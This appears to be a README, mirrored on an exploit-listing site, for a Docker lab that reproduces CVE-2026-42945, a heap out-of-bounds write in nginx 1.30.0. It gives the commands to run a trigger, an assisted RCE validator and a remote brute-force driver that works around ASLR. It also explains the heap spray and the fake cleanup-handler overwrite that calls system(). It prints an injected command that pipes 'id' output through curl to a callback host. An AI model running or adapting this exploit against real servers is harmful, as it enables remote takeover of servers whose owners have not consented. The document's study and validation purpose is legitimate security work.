Share
## https://sploitus.com/exploit?id=6CB8FD9B-C748-57A2-9FDB-26224BC4F868
# CVE-2026-42945 nginx 32-bit Exploit Lab

This repository is a reproducible Docker lab for studying CVE-2026-42945 in
nginx 1.30.0. It contains a vulnerable 32-bit target, a primitive trigger, a
lab-assisted known-address RCE validator, and a no-introspection brute-force
driver.

The proof boundary matters:

- `exploit/trigger_oob.py` demonstrates the heap OOB write primitive.
- `exploit/lab_known_address.py` proves the RCE mechanism in Docker, but it is
  lab-assisted because it reads `/proc//maps` through `docker exec`.
- `exploit/remote_bruteforce.py` does not use SSH, Docker, `/proc`, ptrace, or
  known addresses. It brute-forces SAFE heap-page and libc-page candidates and
  treats the outbound callback as the only success signal.

The remote brute-force path still depends on the current nginx master ASLR
layout. If the spray address is not representable by the required URI-safe byte
alphabet, a full pass will fail until the nginx master process is restarted or
reloaded and ASLR is rerolled. Like the known-address validator, the full RCE
path should be run on a native x86 Linux Docker host rather than a QEMU-emulated
Docker Desktop target.

## Requirements

- Docker with Compose support.
- Linux/386 container support.
- For the full known-address RCE validator, use a native x86 Linux Docker host
  where `/proc//maps` exposes the nginx worker's real 32-bit address
  layout. Docker Desktop on non-x86 hosts may run the target under `qemu-i386`;
  that is enough to validate the OOB crash, but not the known-address RCE math.
- Python 3 on the host for the exploit scripts.

## Quick Start

Build and start the vulnerable 32-bit nginx lab:

```bash
docker compose up -d --build
curl http://127.0.0.1:19331/
```

Trigger the controlled OOB write:

```bash
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
```

Run the deterministic Docker-only RCE validator:

```bash
python3 exploit/lab_known_address.py --restart-until-safe
```

Run the no-introspection brute-force driver:

```bash
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
  --shuffle --seed 42945 \
  --attempt-delay 0.02 \
  --batch-size 5000 --batch-cooldown 10 \
  --progress-every 1000
```

`host.docker.internal` is used as the callback host so the command embedded in
the nginx worker can POST the `id` output back to the listener started by the
exploit script. The Compose file maps this name for Linux Docker engines.

## Exploitation Walkthrough

### 1. Build And Start The Lab

![Build and start the 32-bit lab](docs/screenshots/01-build-and-start.png)

The Compose target builds nginx 1.30.0 as a 32-bit release-style binary and
starts it on `127.0.0.1:19331`. A plain `GET /` returns `ok`, proving the target
is reachable before exploitation starts.

### 2. Trigger The OOB Write

![Trigger the vulnerable rewrite path](docs/screenshots/02-trigger-overflow.png)

The trigger sends a captured URI segment made of `+` bytes through the
vulnerable `rewrite` plus `set $myvar $1` path. `+` is escaped by
`NGX_ESCAPE_ARGS`, so the copy pass writes three bytes for each one-byte input.
The script prints the expected overflow size before sending the request.

### 3. Validate RCE With Lab Assistance

![Validate the RCE mechanism with Docker-only assistance](docs/screenshots/03-known-address-rce.png)

The known-address validator is intentionally assisted. It reads the live worker
heap and libc mappings from the Docker container, computes the fake cleanup
handler address, sends the same wire-level exploit sequence, and waits for the
callback. The `uid=65534(nobody)` output is the nginx worker executing `id`.
This screenshot is from a native x86 Docker run; on non-x86 Docker Desktop
setups the script may stop with a `qemu-i386` native-host requirement instead.

### 4. Run The Remote-Only Brute-Force Path

![Run the no-introspection brute-force path](docs/screenshots/04-remote-bruteforce.png)

The remote brute-force script removes the lab-only address reads. It enumerates
SAFE heap-page candidates and libc-page candidates and uses only the callback
as the success oracle. Exhausting a pass without a callback does not disprove
the primitive; it usually means the current nginx master layout is not
favorable for this payload alphabet, or the pass needs a master restart/reload
to reroll ASLR.

## How The RCE Sequence Works

The exploit uses three concurrent request roles:

1. `/spray` keeps a request body allocation alive and places a fake
   `ngx_pool_cleanup_t` record plus the callback command in nginx worker heap
   memory.
2. `/api/` reaches the vulnerable rewrite script and delays the final
   request terminator until the victim request is in place.
3. `/` creates the adjacent request pool whose `cleanup` pointer is targeted by
   the controlled OOB write.

When the corrupted request pool is destroyed, nginx follows the overwritten
cleanup pointer. In the lab RCE path, the fake cleanup handler points to
`system()` and its data pointer points to:

```text
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
```

The exploit listener treats that POST as the only RCE success signal.

## Cleanup

```bash
docker compose down
```

## Safety Notes

This lab is for authorized security validation and education. Keep it isolated,
do not expose the lab port to untrusted networks, and do not run the exploit
against systems you do not own or have explicit permission to test.